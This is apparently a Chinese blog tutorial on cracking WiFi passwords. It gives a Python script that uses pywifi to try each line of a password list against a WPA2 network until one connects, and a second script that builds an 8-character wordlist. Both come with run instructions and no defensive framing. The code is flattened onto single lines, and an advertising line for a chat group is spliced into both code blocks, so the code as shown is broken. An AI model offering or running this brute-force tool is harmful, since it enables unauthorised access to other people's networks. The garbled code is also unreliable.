如觉得博主文章写的不错或对你有所帮助的话,还望大家多多支持呀!关注、点赞、收藏、评论。

文章目录

  • 一、编写代码
    • 二、展示测试结果
      • 三、测试
        • 四、生成密码本(建议自己找一个密码本)

一、编写代码

在桌面新建一个文件

如果你新建的文件没有后缀名.txt,请进行如下设置

打开刚刚新建的文件,下面代码写入文件,保存

# coding:utf-8import pywififrom pywifi import constimport timeimport datetime#测试连接,返回链接结果def wifiConnect(pwd):#抓取网卡接口wifi=pywifi.PyWiFi()#获取第一个无线网卡ifaces=wifi.interfaces()[0]#断开所有连接ifaces.disconnect()time.sleep(1)wifistatus=ifaces.status()if wifistatus ==const.IFACE_DISCONNECTED:#创建WiFi连接文件profile=pywifi.Profile()#要连接WiFi的名称profile.ssid="TP-LINK_1301"#网卡的开放状态profile.auth=const.AUTH_ALG_OPEN#wifi加密算法,一般wifi加密算法为wpsprofile.akm.append(const.AKM_TYPE_WPA2PSK)#加密单元profile.cipher=const.CIPHER_TYPE_CCMP#调用密码profile.key=pwd#删除所有连接过的wifi文件ifaces.remove_all_network_profiles()#设定新的连接文件tep_profile=ifaces.add_network_profile(profile)ifaces.connect(tep_profile)#wifi连接时间time.sleep(1)if ifaces.status()==const.IFACE_CONNECTED:return Trueelse:return Falseelse:print("已有wifi连接")#读取密码本def readPassword():print("开始破解:")#密码本路径path="C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt"#打开文件file=open(path,"r")while True:try:#一行一行读取pad=file.readline()bool=wifiConnect(pad)Python学习交流群:748989764if bool:print("密码已破解: ",pad)print("WiFi已自动连接!!!")break#else:#跳出当前循环,进行下一次循环#print("密码破解中....密码校对: ",pad)except:continue start=datetime.datetime.now() readPassword()end=datetime.datetime.now()print("破解WIFI密码一共用了多长时间:{}".format(end-start))

将刚刚建的文件,重命名为:WiFi密码的破解代码.py(xxx.py均可)

二、展示测试结果

必备文件

三、测试

  1. 打开python软件

2.打开代码:

  • File→Open→破解WiFi密码.PY(找到破解代码)→打开

3.测试运行

  • 修改:WiFi名密码本路径
  • 测试:Run→Run Module
四、生成密码本(建议自己找一个密码本)
  • 如果有密码本就不需要这个步骤

1.代码(密码中有重复的数字和字母)

 1.修改: 密码组成元素和 密码保存路径

  1. 注意这个密码本生成需要很长时间,建议不要这样生成密码本
import itertools as itsimport datetime #记录程序运行时间start=datetime.datetime.now()words = '1234567890abcdefghijklmnopqrstuvwxyz'#这里可以加入字母和其他字符,使用string包更方便# 生成密码的位数r = its.product(words,repeat=8)#密码位数为9dic =open(r"C:\\Users\\糖果\\Desktop\\Markdown学习\\pwd.txt",'a')for i in r:dic.write(''.join(i))dic.write(''.join('\n'))print(i)Python学习交流群:748989764dic.close()print('密码本生成好了')end=datetime.datetime.now()print("生成密码本一共用了多长时间:{}".format(end-start))
  1. 运行步骤和前面破解WiFi密码相同不再讲解。